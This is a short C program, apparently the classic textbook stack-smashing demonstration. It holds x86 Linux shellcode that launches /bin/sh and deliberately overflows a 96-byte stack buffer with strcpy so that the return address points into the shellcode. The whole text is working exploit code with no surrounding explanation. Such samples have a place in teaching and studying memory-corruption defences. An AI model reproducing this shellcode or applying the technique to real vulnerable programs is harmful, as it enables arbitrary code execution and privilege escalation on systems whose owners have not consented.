1 #include <stdio.h> 2 3 char shellcode[] = 4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 5 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 6 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 7 8 char large_string[128]; 9 int i; 10 long *long_ptr; 11 12 int main() { 13 char buffer[96]; 14 15 long_ptr = (long *)large_string; 16 for (i=0; i<32; i++) 17 *(long_ptr+i) = (int)buffer; 18 for (i=0; i<(int)strlen(shellcode); i++) 19 large_string[i] = shellcode[i]; 20 strcpy(buffer, large_string); 21 return 0; 22 }